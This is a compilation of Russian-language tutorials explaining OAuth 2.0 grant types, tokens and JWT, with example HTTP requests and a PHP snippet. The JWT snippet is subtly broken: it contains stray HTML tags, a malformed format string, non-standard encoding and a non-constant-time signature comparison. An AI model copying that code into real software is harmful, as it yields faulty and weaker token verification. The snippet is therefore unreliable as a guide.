Oauth что это такое: OAuth 2.0 простым и понятным языком / Блог компании Mail.ru Group / Хабр

OAuth 2.0 простым и понятным языком / Блог компании Mail.ru Group / Хабр

На хабре уже писали про OAuth 1.0, но понятного объяснения того, что такое OAuth 2.0 не было. Ниже я расскажу, в чем отличия и преимущества OAuth 2.0 и, как его лучше использовать на сайтах, в мобильных и desktop-приложениях.

Что такое OAuth 2.0

OAuth 2.0 — протокол авторизации, позволяющий выдать одному сервису (приложению) права на доступ к ресурсам пользователя на другом сервисе. Протокол избавляет от необходимости доверять приложению логин и пароль, а также позволяет выдавать ограниченный набор прав, а не все сразу.

Чем отличаются OpenID и OAuth

Не смотря на то, что объяснений на эту тему уже было много, она по-прежнему вызывает некоторое непонимание.

OpenID предназначен для аутентификации — то есть для того, чтобы понять, что этот конкретный пользователь является тем, кем представляется. Например, с помощью OpenID некий сервис Ололо может понять, что зашедший туда пользователь, это именно Рома Новиков с Mail. Ru. При следующей аутентификации Ололо сможет его опять узнать и понять, что, это тот же Рома, что и в прошлый раз.

OAuth же является протоколом авторизации, то есть позволяет выдать права на действия, которые сам Ололо сможет производить в Mail.Ru от лица Ромы. При этом Рома после авторизации может вообще не участвовать в процессе выполнения действий, например, Ололо сможет самостоятельно заливать фотографии на Ромин аккаунт.

Как работает OAuth 2.0

Как и первая версия, OAuth 2.0 основан на использовании базовых веб-технологий: HTTP-запросах, редиректах и т. п. Поэтому использование OAuth возможно на любой платформе с доступом к интернету и браузеру: на сайтах, в мобильных и desktop-приложениях, плагинах для браузеров…

Ключевое отличие от OAuth 1.0 — простота. В новой версии нет громоздких схем подписи, сокращено количество запросов, необходимых для авторизации.

Общая схема работы приложения, использующего OAuth, такова:

1. получение авторизации
2. обращение к защищенным ресурсам

Результатом авторизации является access token — некий ключ (обычно просто набор символов), предъявление которого является пропуском к защищенным ресурсам.

Обращение к ним в самом простом случае происходит по HTTPS с указанием в заголовках или в качестве одного из параметров полученного access token‘а.

В протоколе описано несколько вариантов авторизации, подходящих для различных ситуаций:

• авторизация для приложений, имеющих серверную часть (чаще всего, это сайты и веб-приложения)
• авторизация для полностью клиентских приложений (мобильные и desktop-приложения)
• авторизация по логину и паролю
• восстановление предыдущей авторизации

Авторизация для приложений, имеющих серверную часть

1. Редирект на страницу авторизации
2. На странице авторизации у пользователя запрашивается подтверждение выдачи прав
3. В случае согласия пользователя, браузер редиректится на URL, указанный при открытии страницы авторизации, с добавлением в GET-параметры специального ключа — authorization code
4. Сервер приложения выполняет POST-запрос с полученным authorization code в качестве параметра. В результате этого запроса возвращается access token

Это самый сложный вариант авторизации, но только он позволяет сервису однозначно установить приложение, обращающееся за авторизацией (это происходит при коммуникации между серверами на последнем шаге). Во всех остальных вариантах авторизация происходит полностью на клиенте и по понятным причинам возможна маскировка одного приложения под другое. Это стоит учитывать при внедрении OAuth-аутентификации в API сервисов.

Пример

Здесь и далее примеры приводятся для API Mail.Ru, но логика одинаковая для всех сервисов, меняются только адреса страниц авторизации. Обратите внимание, что запросы надо делать по HTTPS.

Редиректим браузер пользователя на страницу авторизации:

> GET /oauth/authorize?response_type=code&client_id=464119&
      redirect_uri=http%3A%2F%2Fexample.com%2Fcb%2F123 HTTP/1.1
> Host: connect.mail.ru

Здесь и далее, client_id и client_secret — значения, полученные при регистрации приложения на платформе.

После того, как пользователь выдаст права, происходит редирект на указанный redirect_uri:

< HTTP/1.1 302 Found
< Location: http://example.com/cb/123?code=DoRieb0y

Обратите внимание, если вы реализуете логин на сайте с помощью OAuth, то рекомендуется в

redirect_uri добавлять уникальный для каждого пользователя идентификатор для предотвращения CSRF-атак (в примере это 123). При получении кода надо проверить, что этот идентификатор не изменился и соответствует текущему пользователю.

Используем полученный code для получения access_token, выполняя запрос с сервера:

> POST /oauth/token HTTP/1.1
> Host: connect.mail.ru
> Content-Type: application/x-www-form-urlencoded
> 
> grant_type=authorization_code&client_id=464119&client_secret=deadbeef&code=DoRieb0y&
  redirect_uri=http%3A%2F%2Fexample.com%2Fcb%2F123

< HTTP/1.1 200 OK
< Content-Type: application/json
<
< {
<    "access_token":"SlAV32hkKG",
<    "token_type":"bearer",
<    "expires_in":86400,
<    "refresh_token":"8xLOxBtZp8",
< }

Обратите внимание, что в последнем запросе используется client_secret, который в данном случае хранится на сервере приложения, и подтверждает, что запрос не подделан.

В результате последнего запроса получаем сам ключ доступа (access_token), время его «протухания&raquo (expires_in), тип ключа, определяющий как его надо использовать, (token_type) и refresh_token о котором будет подробнее сказано ниже. Дальше, полученные данные можно использовать для доступа к защищенным ресурсам, например, API Mail.Ru:

> GET /platform/api?oauth_token=SlAV32hkKG&client_id=464119&format=json&method=users.getInfo&
      sig=... HTTP/1.1
> Host: appsmail.ru

Описание в спецификации

Авторизация полностью клиентских приложений

1. Открытие встроенного браузера со страницей авторизации
2. У пользователя запрашивается подтверждение выдачи прав
3. В случае согласия пользователя, браузер редиректится на страницу-заглушку во фрагменте (после #) URL которой добавляется access token
4. Приложение перехватывает редирект и получает access token из адреса страницы

Этот вариант требует поднятия в приложении окна браузера, но не требует серверной части и дополнительного вызова сервер-сервер для обмена authorization code на access token.

Пример

Открываем браузер со страницей авторизации:

> GET /oauth/authorize?response_type=token&client_id=464119 HTTP/1.1
> Host: connect.mail.ru

После того, как пользователь выдаст права, происходит редирект на стандартную страницу-заглушку, для Mail.Ru это connect.mail.ru/oauth/success.html:

 
< HTTP/1.1 302 Found
< Location: http://connect.mail.ru/oauth/success.html#access_token=FJQbwq9&token_type=bearer&
            expires_in=86400&refresh_token=yaeFa0gu

Приложение должно перехватить последний редирект, получить из адреса acess_token и использовать его для обращения к защищенным ресурсам.

Описание в спецификации

Авторизация по логину и паролю

Авторизация по логину и паролю представляет простой POST-запрос, в результате которого возвращается access token. Такая схема не представляет из себя ничего нового, но вставлена в стандарт для общности и рекомендуется к применению только, когда другие варианты авторизации не доступны.

Пример

> POST /oauth/token HTTP/1.1
> Host: connect.mail.ru
> Content-Type: application/x-www-form-urlencoded
> 
> grant_type=password&client_id=31337&client_secret=deadbeef&[email protected]&
  password=qwerty

< HTTP/1.1 200 OK
< Content-Type: application/json
<
< {
<    "access_token":"SlAV32hkKG",
<    "token_type":"bearer",
<    "expires_in":86400,
<    "refresh_token":"8xLOxBtZp8",
< }

Описание в спецификации

Восстановление предыдущей авторизации

Обычно, access token имеет ограниченный срок годности. Это может быть полезно, например, если он передается по открытым каналам. Чтобы не заставлять пользователя проходить авторизацию после истечения срока действия

access token‘а, во всех перечисленных выше вариантах, в дополнение к access token‘у может возвращаться еще refresh token. По нему можно получить access token с помощью HTTP-запроса, аналогично авторизации по логину и паролю.

Пример

> POST /oauth/token HTTP/1.1
> Host: connect.mail.ru
> Content-Type: application/x-www-form-urlencoded
> 
> grant_type=refresh_token&client_id=31337&client_secret=deadbeef&refresh_token=8xLOxBtZp8

< HTTP/1.1 200 OK
< Content-Type: application/json
<
< {
<    "access_token":"Uu8oor1i",
<    "token_type":"bearer",
<    "expires_in":86400,
<    "refresh_token":"ohWo1ohr",
< }

Описание в спецификации

Минусы OAuth 2.0

Во всей этой красоте есть и ложка дегтя, куда без нее?

OAuth 2.0 — развивающийся стандарт. Это значит, что спецификация еще не устоялась и постоянно меняется, иногда довольно заметно. Так, что если вы решили поддержать стандарт прямо сейчас, приготовьтесь к тому, что его поддержку придется подпиливать по мере изменения спецификации. С другой стороны, это также значит, что вы можете поучаствовать в процессе написания стандарта и внести в него свои идеи.

Безопасность OAuth 2. 0 во многом основана на SSL. Это сильно упрощает жизнь разработчикам, но требует дополнительных вычислительных ресурсов и администрирования. Это может быть существенным вопросом в высоко нагруженных проектах.

Заключение

OAuth — простой стандарт авторизации, основанный на базовых принципах интернета, что делает возможным применение авторизации практически на любой платформе. Стандарт имеет поддержку крупнейших площадок и очевидно, что его популярность будет только расти. Если вы задумались об API для вашего сервиса, то авторизация с использованием OAuth 2.0 — хороший выбор.

Со своей стороны, мы внедрили OAuth 2.0 в API Mail.Ru и, теперь, вы можете использовать возможности протокола для реализации любых клиентов и сервисов, интегрированных с Mail.Ru.

Ссылки

Дмитрий Битман — менеджер Платформы@Mail.Ru

Oauth 2.0 — базовое понимание

Сегодня, в мире социальных медиа, каждый из нас использует десятки приложений и вебсайтов ежедневно. Oauth 2.0 призван упростить процесс авторизации и, как следствие, сделать жизнь пользователей проще и безопаснее. Возникает вопрос — каким образом?

Oauth 2.0 — что это такое?

Возьмем обычную ситуацию: вы открываете какой-либо сайт, выбираете, какой провайдер данных и какой конкретно аккаунт использовать, даете разрешение на использование данных (если необходимо) и работаете дальше от имени владельца этого аккаунта. Вы не вспоминаете пароль, не тратите время на утомительную регистрацию — все это сводится к нескольким кликами.

Eстественно, для этого у Вас должна быть учетная запись у выбранного провайдера.

Термин «провайдер» подразумевает сервис, который владеет данными пользователя и, с разрешения пользователя, предоставляет сторонним сервисам (клиентам) безопасный доступ к этим данным. Приложение, желающее получить данные пользователя — это клиент.

Для примера взята форма логина/регистрации на Aliexpress. В данном случае на форме присутствует выбор из нескольких провайдеров — Google, Facebook, Вконтакте и Twitter.

Вы жмете «войти через Facebook» или «войти через Google», Вас перенаправляют на страницу выбора аккаунта, Вы выбираете свою учетную запись и все — Вы уже залогинились.

Спецификация OAuth 2.0 определяет протокол делегирования, который предоставляет клиентам безопасный доступ к ресурсам пользователя на сервисе-провайдере. Такой подход избавляет пользователя от необходимости вводить пароль за пределами сервиса-провайдера: весь процесс сводится к нажатию кнопки «Согласен предоставить доступ к …». Идея в том, что имея один хорошо защищенный аккаунт, пользователь может использовать его для аутентификации на других сервисах, не раскрывая при этом своего пароля.

В отличие от OpenID, OAuth 2.0 может использоваться и для авторизации. То есть, позволяет выдать права на действия, которые сам сервис-клиент сможет производить от лица владельца аккаунта. При этом сам владелец после авторизации может вообще не участвовать в процессе выполнения действий, например, сервис по продаже билетов самостоятельно создает мероприятие в календаре пользователя, или игра размещает на стене в Facebook отчет об очередном завоеванном кубке.

Общая схема OAuth 2.0 :

1. Клиент запрашивает авторизацию у владельца ресурса.
2. Клиент получает грант авторизации.
3. Клиент запрашивает токен доступа путем аутентификации с помощью сервера авторизации и предоставление гранта авторизации.
4. Сервер авторизации аутентифицирует клиента, проверяя грант авторизации и, если он действителен, выдает токен доступа (access token) и рефреш токен (refresh token).
5. Клиент запрашивает защищенный ресурс у провайдера и аутентифицируется, представляя токен доступа.
6. Провайдер проверяет токен доступа и, если он действителен, обслуживает запрос.

Итак, мы видим, что конечная цель — это получить access и refresh токены. Дальше клиент общается с провайдером данных, пока у access токена не кончится срок годности. Затем, чтобы получить доступ к данным провайдера снова, клиенту нужно воспользоваться refresh токеном и отправить запрос на генерацию новой пары access/refresh токенов.

Зачем вообще нужен refresh токен?

Представим ситуацию, когда некто завладел Вашим access токеном и получил доступ к защищенным данным. Именно поэтому у токенов есть срок годности. У access токена он обычно маленький — от нескольких секунд, до нескольких дней, у refresh токена — побольше. Так вот доступ к данным у злоумышленника будет до тех пор, пока токен доступа не протухнет. Допустим, этот некто завладел еще и refresh токеном и воспользовался им раньше чем Вы, тем самым получив новый access токен. В таком случае Вы не можете получить данные с провайдера, но для решения этой проблемы Вам будет достаточно разлогиниться и залогиниться заново — и все! Все старые токены станут недействительными или удаляться (зависит от реализации). После этой процедуры Вы получаете новые access/refresh токены и можете спокойно продолжить работу, а плохой парень, со старыми токенами, остался с носом.

Преимущества и недостатки OAuth 2.0

Из плюсов OAuth 2.0 протокола можно выделить следующее:

• Обращение к ресурсам происходит по HTTP/HTTPS с указанием токена в заголовках. Это позволяет использовать OAuth практически в любых решения: мобильных и десктоп приложениях, сайтах, и даже в плагинах для браузеров.
• Возможность авторизации пользователя.
• Популярность — большинство компаний используют его в своих API.
• Простота реализации и большое количество “литературы”.
• Наличие готовых решений, которые можно изменять под свои нужды.

Из минусов:

• Нет единого установленного формата, вследствие чего на каждый сервис нужно иметь отдельную реализацию.
• При аутентификации иногда приходится делать дополнительные запросы для получения даже минимальной информации о пользователе. Решается использованием jwt токена, но далеко не все сервисы его поддерживают.
• При краже токена у злоумышленника на какое-то время появляется доступ к защищенным данным. Для минимизации данного варианта можно используют токен с подписью.

Реализацию OAuth 2.0 подхода на php можно найти на GitHub в нескольких популярных бандлах:

Немного о JWT

JSON Web Token — открытый стандарт для создания токена в json формате. Такой токен состоит из трех частей, разделенных точками: заголовок(header), набор полей (payload) и сигнатура. Первые два блока представлены в json-формате и дополнительно закодированы. Для заголовка есть один обязательный ключ — alg, указывающий алгоритм подписи. Набор полей payload содержит произвольные пары ключ/значения. Также существуют необязательные зарезервированные ключи (ознакомиться).

Сигнатура может генерироваться при помощи как симметричных алгоритмов шифрования, так и асимметричных. Кроме того, существует отдельный стандарт, описывающий формат зашифрованного JWT-токена.

Пример

У нас есть некий ключ SECRET_KEY, его знает только сервер и приложение — клиент (получает его во время установки).

  $SECRET_KEY = "stFalcon";
    $header = '{"typ":"JWT","alg":"HS256"}';
    $payload = '{"sub":"1234567890","name":"alex","admin":true}';
    $unsignedToken = \sprintf("%s.%s", base64_encode($header), base64_encode($payload));
    $signature = hash_hmac('sha256', $unsignedToken, $SECRET_KEY);</p></ol>
 
 
    $tokenEncoded =  \sprintf("%s. %s.%s", base64_encode($header), base64_encode($payload), base64_encode($signature));

В результате имеем готовый токен —

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImFsZXgiLCJhZG1pbiI6dHJ1ZX0=.MTI5MGZmYTkwMGM2YmE0ODIzNGQ2ZGI4OGYxZTM2NGY5Y2VhYzExN2NiZGNjODA0YmNhN2NhNmM1ZWUzMDQ3NA==

Теперь проверим токен на валидность —

   $tokenDecodedArr = explode('.', $tokenEncoded);  
 
    $externalHeader = $tokenDecodedArr[0];
    $externalPayload = $tokenDecodedArr[1];
    $externalSignature = $tokenDecodedArr[2];
 
    if ( base64_decode($externalSignature) === hash_hmac('sha256' , \sprintf("%s.%s", $externalHeader, $externalPayload), $SECRET_KEY) ) {
      echo 'matched';
    } else {
      echo 'don’t mathe';
    }

Таким образом мы проверяем совпадают ли подписи, если да — JWT валидный, т.е. пришел от проверенного источника. Если подписи не совпадают, значит что-то пошло не так — возможно, это является признаком потенциальной атаки.

В итоге используя jwt мы получаем дополнительную ступень защиты от кражи своих данных, и возможность передавать некий набор информации без дополнительных запросов.

Заключение

Подведем итог. OAuth 2.0 это простой протокол авторизации, основанный на HTTP, что дает возможность применять его практически на любой платформе. Он имеет хорошую документацию, и большинство крупных площадок его поддерживают. Так что если вы решили использовать этот протокол в своем проекте — это хороший выбор.

Введение в OAuth 2 | DigitalOcean

Введение

OAuth 2 представляет собой фреймворк для авторизации, позволяющий приложениям осуществлять ограниченный доступ к пользовательским аккаунтам на HTTP сервисах, например, на Facebook, GitHub и DigitalOcean. Он работает по принципу делегирования аутентификации пользователя сервису, на котором находится аккаунт пользователя, позволяя стороннему приложению получать доступ к аккаунту пользователя. OAuth 2 работает в вебе, на десктопных и мобильных приложениях.

Эта статья предназначена для разработчиков приложений и предоставляет обзор ролей, типов авторизации и типичных сценариев использования OAuth 2.

Начнём с ролей OAuth!

Роли OAuth

OAuth определяет четыре роли:

• Владелец ресурса
• Клиент
• Сервер ресурсов
• Авторизационный сервер

Далее мы рассмотрим каждую из ролей.

Владелец ресурса:

Пользователь

Владельцем ресурса является пользователь, который авторизует приложение для доступа к своему аккаунту. Доступ приложения к пользовательскому аккаунту ограничен “областью видимости” (scope) предоставленных прав авторизации (например, доступ на чтение или запись).

Сервер ресурсов / авторизации:

API

Сервер ресурсов непосредственно хранит защищённые данные аккаунтов пользователей, а авторизационный сервер проверяет подлинность информации, предоставленной пользователем, а затем создаёт авторизационные токены для приложения, с помощью которых приложение будет осуществлять доступ к пользовательским данным.

С точки зрения разработчика приложения API сервиса одновременно выполняет и роль сервера ресурсов и роль сервера авторизации. Далее мы будем считать эти две роли одной, и называть её Сервис или API.

Клиент:

Приложение

Клиентом является приложение, которое хочет осуществить доступ к аккаунту пользователя. Перед осуществлением доступа приложение должно быть авторизовано пользователем, а авторизация должна быть одобрена со стороны API.

Абстрактное описание протокола

Теперь, когда у нас есть представление о ролях, используемых в OAuth, рассмотрим диаграмму их взаимодействия друг с другом.

Рассмотрим описание последовательности шагов на этой диаграмме:

1. Приложение запрашивает у пользователя авторизацию на доступ к серверу ресурсов.
2. Если пользователь авторизует запрос, приложение получает разрешение на авторизацию (authorization grant).
3. Приложение запрашивает авторизационный токен у сервера авторизации (API) путём предоставления информации о самом себе и разрешении на авторизацию от пользователя.
4. Если подлинность приложения подтверждена и разрешение на авторизацию действительно, сервер авторизации (API) создаёт токен доступа для приложения. Процесс авторизации завершён.
5. Приложение запрашивает ресурс у сервера ресурсов (API), предоставляя при этом токен доступа для аутентификации.
6. Если токен действителен, сервер ресурсов (API) предоставляет запрашиваемый ресурс приложению.

Фактический порядок шагов описанного процесса может отличаться в зависимости от используемого типа разрешения на авторизацию, но в целом процесс будет выглядеть описанным образом. Далее мы рассмотрим различные типы разрешений на авторизацию.

Регистрация приложения

Перед тем, как начать использовать OAuth в вашем приложении, вам необходимо зарегистрировать своё приложения в сервисе. Это делается путём регистрации в разделе “developer” или “API” сайта сервиса, где вам необходимо предоставить следующую информацию (возможно, включая некоторые детали о вашем приложении):

• Название приложения
• Сайт приложения
• Redirect URL или callback URL

Redirect URL — это URL, на который сервис будет перенаправлять пользователя после авторизации (или отказа в авторизации) вашего приложения.

Идентификатор клиента и секрет клиента

После регистрации приложения сервис создаст учётные данные клиента — идентификатор клиента (client ID) и секрет клиента (client secret). Идентификатор клиента представляет собой публично доступную строку, которая используется API сервиса для идентификации приложения, а также используется для создания авторизационных URL для пользователей. Секрет клиента используется для аутентификации подлинности приложения для API сервиса, когда приложение запрашивает доступ к аккаунту пользователя. Секрет клиента должен быть известен только приложению и API.

Разрешение на авторизацию

В абстрактном описании протокола выше первые четыре шага касаются вопросов создания разрешения на авторизацию и токена доступа. Тип разрешения на авторизацию зависит от используемого приложением метода запроса авторизации, а также от того, какие типы разрешения поддерживаются со стороны API. OAuth 2 определяет четыре разных типа, каждый из которых полезен в определённых ситуациях:

• Код авторизации (Authorization Code): используется с серверными приложениями (server-side applications).
• Неявный (Implicit): используется мобильными или веб-приложениями (приложения, работающие на устройстве пользователя).
• Учётные данные владельца ресурса (Resource Owner Password Credentials): используются доверенными приложениями, например приложениями, которые являются частью самого сервиса.
• Учётные данные клиента (Client Credentials): используются при доступе приложения к API.

Далее мы рассмотрим эти типы разрешения на авторизацию, примеры их использования.

Тип разрешения на авторизацию: Код авторизации

Код авторизации является одним из наиболее распространённых типов разрешения на авторизацию, поскольку он хорошо подходит для серверных приложений, где исходный код приложения и секрет клиента не доступны посторонним. Процесс в данном случае строится на перенаправлении (redirection), что означает, что приложение должно быть в состоянии взаимодействовать с пользовательским агентом (user-agent), например, веб-браузером, и получать коды авторизации API, перенаправляемые через пользовательский агент.

Опишем процесс на диаграмме:

Шаг 1: Ссылка с кодом авторизации

Сначала пользователю предоставляется ссылка следующего вида:

https://cloud.digitalocean.com/v1/oauth/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=CALLBACK_URL&scope=read

Рассмотрим компоненты ссылки:

• https://cloud.digitalocean.com/v1/oauth/authorize: входная точка API авторизации (API authorization endpoint).
• client_id=CLIENT_ID: идентификатор клиента приложения (с помощью этого идентификатора API понимает, какое приложение запрашивает доступ).
• redirect_uri=CALLBACK_URL: URL, на который сервис перенаправит пользовательского агент (браузер) после выдачи авторизационного кода.
• response_type=code: указывает на то, что приложение запрашивает доступ с помощью кода авторизации.
• scope=read: задаёт уровень доступа приложения (в данном случае — доступ на чтение).

Шаг 2: Пользователь авторизует приложение

Когда пользователь нажимает на ссылку, он должен сперва осуществить вход в систему для подтверждения своей личности (если он, конечно, ещё не залогинен). После этого сервис предложит пользователю авторизовать или отказать в авторизации приложению для доступа к аккаунту пользователя. Пример такого диалога представлен ниже:

На этом скриншоте экрана авторизации DigitalOcean мы можем видеть, что приложение “Thedropletbook App” запрашивает доступ на чтение к аккаунту “[email protected]”.

Шаг 3: Приложение получает код авторизации

Если пользователь выбирает “Авторизовать приложение”, сервис перенаправляет пользовательский агент (браузер) по URL перенаправления (redirect URL), который был задан на этапе регистрации клиента (вместе с кодом авторизации). Ссылка будет выглядеть похожим образом (в данном примере приложение называется “dropletbook.com”):

https://dropletbook.com/callback?code=AUTHORIZATION_CODE

Шаг 4: Приложение запрашивает токен доступа

Приложение запрашивает токен доступа у API путём отправки авторизационного кода и аутентификационной информации (включая секрет клиента) сервису. Ниже представлен пример POST-запроса для получения токена DigitalOcean:

https://cloud.digitalocean.com/v1/oauth/token?client_id=CLIENT_ID&client_secret=CLIENT_SECRET&grant_type=authorization_code&code=AUTHORIZATION_CODE&redirect_uri=CALLBACK_URL

Шаг 5: Приложение получает токен доступа

Если авторизация прошла успешно, API возвращает токен доступа (а также, опционально, токен для обновления токена доступа — refresh token). Весь ответ сервера может выглядеть следующим образом:

{"access_token":"ACCESS_TOKEN","token_type":"bearer","expires_in":2592000,"refresh_token":"REFRESH_TOKEN","scope":"read","uid":100101,"info":{"name":"Mark E. Mark","email":"[email protected]"}}

Теперь приложение авторизовано! Оно может использовать токен для доступа к пользовательскому аккаунту через API сервиса с заданными ограничениями доступа до тех пор, пока не истечёт срок действия токена или токен не будет отозван. Если был создан токен для обновления токена доступа, он может быть использован для получения новых токенов доступа, когда истечёт срок действия старого токена.

Тип разрешения на авторизацию: Неявный

Неявный тип разрешения на авторизацию используется мобильными и веб-приложениями (приложениями, которые работают в веб-браузере), где конфиденциальность секрета клиента не может быть гарантирована. Неявный тип разрешения также основан на перенаправлении пользовательского агента, при этом токен доступа передаётся пользовательскому агенту для дальнейшей передачи приложению. Это, в свою очередь, делает токен доступным пользователю и другим приложениям на устройстве пользователя. Также при этом типе разрешения на авторизацию не осуществляется аутентификация подлинности приложения, а сам процесс полагается на URL перенаправления (зарегистрированный ранее в сервисе).

Неявный тип разрешения на авторизацию не поддерживает токены обновления токена доступа (refresh tokens).

Процесс выглядит следующим образом: приложение просит пользователя авторизовать себя, затем сервер авторизации передаёт токен доступа к пользовательскому агенту, который передаёт токен приложению. Далее мы опишем процесс в деталях.

Шаг 1: Ссылка для неявной авторизации

При неявном типа разрешения на авторизацию пользователю предоставляется ссылка, запрашивающая токен у API. Эта ссылка выглядит почти так же, как ссылка для предыдущего способа (с кодом авторизации), за исключением того, что запрашивается токен вместо кода (обратите внимание на response type “token”):

https://cloud.digitalocean.com/v1/oauth/authorize?response_type=token&client_id=CLIENT_ID&redirect_uri=CALLBACK_URL&scope=read

Шаг 2: Пользователь авторизует приложение

Когда пользователь нажимает на ссылку, он должен сперва осуществить вход в систему для подтверждения своей личности (если он, конечно, ещё не залогинен). После этого сервис предложит пользователю авторизовать или отказать в авторизации приложению для доступа к аккаунту пользователя. Пример такого диалога представлен ниже:

На этом скриншоте экрана авторизации DigitalOcean мы можем видеть, что приложение “Thedropletbook App” запрашивает доступ на чтение к аккаунту “[email protected]”.

Шаг 3: Пользовательский агент получает токен доступа с URI перенаправления

Если пользователь выбирает “Авторизовать приложение”, сервис перенаправляет пользовательский агент по URI пренправления приложения и включает в URI фрагмент, содержащий токен доступа. Это выглядит примерно вот так:

https://dropletbook.com/callback#token=ACCESS_TOKEN

Шаг 4: Пользовательский агент следует по URI перенаправления

Пользовательский агент следует по URI перенаправления, сохраняя при этом токен доступа.

Шаг 5: Приложение выполняет скрипт извлечения токена доступа

Приложение возвращает веб-страницу, которая содержит скрипт для извлечения токен доступа из полного URI перенаправления, сохранённого пользовательским агентом.

Шаг 6: Токен доступа передаётся приложению

Пользовательский агент запускает скрипт извлечения токена доступа, а затем передаёт извлечённый токен приложению.

Теперь приложение авторизовано! Оно может использовать токен для доступа к пользовательскому аккаунту через API сервиса с заданными ограничениями доступа до тех пор, пока не истечёт срок действия токена или токен не будет отозван.

Тип разрешения на авторизацию: учётные данные владельца ресурса

При этом типе разрешения на авторизацию пользователь предоставляет приложению напрямую свои авторизационные данные в сервисе (имя пользователя и пароль). Приложение, в свою очередь, использует полученные учётные данные пользователя для получения токена доступа от сервиса. Этот тип разрешения на авторизацию должен использоваться только в том случае, когда другие варианты не доступны. Кроме того, этот тип разрешения стоит использовать только в случае, когда приложение пользуется доверием пользователя (например, является частью самого сервиса, или операционной системы пользователя).

Процесс с учётными данными владельца ресурса

После того, как пользователь передаст свои учётные данные приложению, приложение запросит токен доступа у авторизационного сервера. Пример POST-запроса может выглядеть следующим образом:

https://oauth.example.com/token?grant_type=password&username=USERNAME&password=PASSWORD&client_id=CLIENT_ID

Если учётные данные корректны, сервер авторизации вернёт токен доступа приложению. Теперь приложение авторизовано!

Внимание: DigitalOcean в настоящее время не поддерживает тип разрешения на авторизацию с использованием учётных данных владельца ресурса, поэтому ссылка выше ведёт на воображаемый авторизационный сервер “oauth.example.com”.

Тип разрешения на авторизацию: Учётные данные клиента

Тип разрешения на авторизацию с использованием учётных данных клиента позволяет приложению осуществлять доступ к своему собственному аккаунту сервиса. Это может быть полезно, например, когда приложение хочет обновить собственную регистрационную информацию на сервисе или URI перенаправления, или же осуществлить доступ к другой информации, хранимой в аккаунте приложения на сервисе, через API сервиса.

Процесс с учётными данными клиента

Приложение запрашивает токен доступа путём отправки своих учётных данных, своего идентификатора клиента и секрета клиента авторизационному серверу. Пример POST-запроса может выглядеть следующим образом:

https://oauth.example.com/token?grant_type=client_credentials&client_id=CLIENT_ID&client_secret=CLIENT_SECRET

Если учётные данные клиента корректны, авторизационный сервер вернёт токен доступа для приложения. Теперь приложение авторизовано для использования собственного аккаунта!

Внимание: DigitalOcean в настоящее время не поддерживает тип разрешения на авторизацию с использованием учётных данных клиента, поэтому ссылка выше ведёт на воображаемый авторизационный сервер “oauth.example.com”.

Пример использования токена доступа

После того, как приложение получит токен доступа, оно может использовать этот токен для доступа к пользовательскому аккаунту через API сервиса с заданными ограничениями доступа до тех пор, пока не истечёт срок действия токена или токен не будет отозван.

Ниже представлен пример запроса к API с использованием curl. Обратите внимание, что он содержит токен доступа:

curl -X POST -H "Authorization: Bearer ACCESS_TOKEN""https://api.digitalocean.com/v2/$OBJECT" 

Если токен доступа валиден, API обработает полученный запрос. Если срок действия токена доступа истёк или токен некорректен, API вернёт ошибку “invalid_request”.

Обновление токена доступа

После истечения срока действия токена доступа все запросы к API с его использованием будут возвращать ошибку “Invalid Token Error”. Если при создании токена доступа был создан и токен для обновления токена доступа (refresh token), последний может быть использован для получения нового токена доступа от авторизационного сервера.

Ниже представлен пример POST-запроса, использующего токен для обновления токена доступа для получения нового токена доступа:

https://cloud.digitalocean.com/v1/oauth/token?grant_type=refresh_token&client_id=CLIENT_ID&client_secret=CLIENT_SECRET&refresh_token=REFRESH_TOKEN

Заключение

На этом мы завершаем наш обзор OAuth 2. Теперь у вас есть общее представление о том, как работает OAuth 2, а также о том, когда и как использовать существующие типы разрешения на авторизацию.

Если вы хотите узнать больше об OAuth 2, рекомендуем ознакомиться со следующими статьями:

Что такое OAuth? Определение термина OAuth

OAuth  — это открытый протокол авторизации, позволяющий предоставлять третьей стороне ограниченный доступ к защищенным ресурсам без необходимости передавать логин и пароль. Например, юзер, который хочет предоставить сервису соцсети доступ к контактам своей почты, не должен сообщать социальной сети свой почтовый пароль. Вместо этого, пользователь проходит авторизацию в почтовом сервисе, который предоставляет сервису соцсети доступ к адресной книге.

Немного истории

OAuth 1.0
OAuth возник еще в ноябре 2006, когда Блейн Кук занимался разработкой реализации OpenID для Твиттера. Вместе с Крисом Мессиной, Блейн искал путь к использованию OpenID для доступа к Twitter API без предоставления сервису пароля. Сотрудничая с одним из разработчиков OpenID Девидом Рекордоном, Кук провел анализ функциональности OpenID  и протоколов авторизации, таких как  Yahoo! BBAuth, Google AuthSub, Flickr Auth. Был сделан вывод, что необходим новый открытый протокол. Так, в апреле 2007 года образовалась группа разработчиков, которые занялись его созданием. В группе приняли участие сотрудники компаний  AOL и Google. Финальную версию протокола OAuth 1.0 была представлена 4 декабря 2007 года, а в 2008 году начались работы по стандартизации протокола.

OAuth 2.0
В 2010 году началась работа над новой версией протокола OAuth 2.0. Главной целью новой версии – упрощение разработки клиентский приложений.

Отличие OAuth от OpenID

Мнение, что OAuth – это расширение протокола OpenID, ошибочно. Хотя OpenID и OAuth имеют много общего, OAuth является протоколом самостоятельным и никак не связанным с OpenID.

OAuth – это протокол авторизации, позволяющий предоставлять права на использование какого-либо ресурса. Наличие прав определяется токеном, который может быть один и тот же для разных юзеров, либо у одного пользователя могут быть разные токены в разное время. Права предоставляются в обмен на предоставление токена.

OpenID – это средство аутентификации. С его помощью можно удостоверится, что пользователь именно тот, за кого он себя выдает.

Схема работы OAuth

Например, пользователь  хочет распечатать свои фото, которые загружены на сайт  foto.primer.ru с помощью сервиса печати print.primer.ru

• Клиент с помощью HTTPS протокола отправляет на сервис запрос с содержанием идентификатора клиента, метку времени, адрес обратного вызова, по которому нужно будет вернуть токен, тип цифровой подписи и, непосредственно, саму цифровую подпись
• Сервер подтверждает запрос и отвечает клиенту токеном доступа и частью разделенного секрета.
• Клиент осуществляет передачу токена владельцу ресурсов и для прохождения авторизации перенаправляет токен на сервер.
• Сервер получает токен и запрашивает логин и пароль. Если аутентификация прошла успешна, то просит подтверждения доступа к ресурсам, после чего пользователь перенаправляется сервером к клиенту
• Клиент передает серверу токен при помощи TLS  протокола и запрашивает доступ к ресурсам
• Сервер подтверждает запрос и отвечает клиенту новым токеном доступа.
• Клиент использует новый токен для обращения к серверу за ресурсами
• Сервер подтверждает и предоставляет ресурсы.



Помогло? Делись!

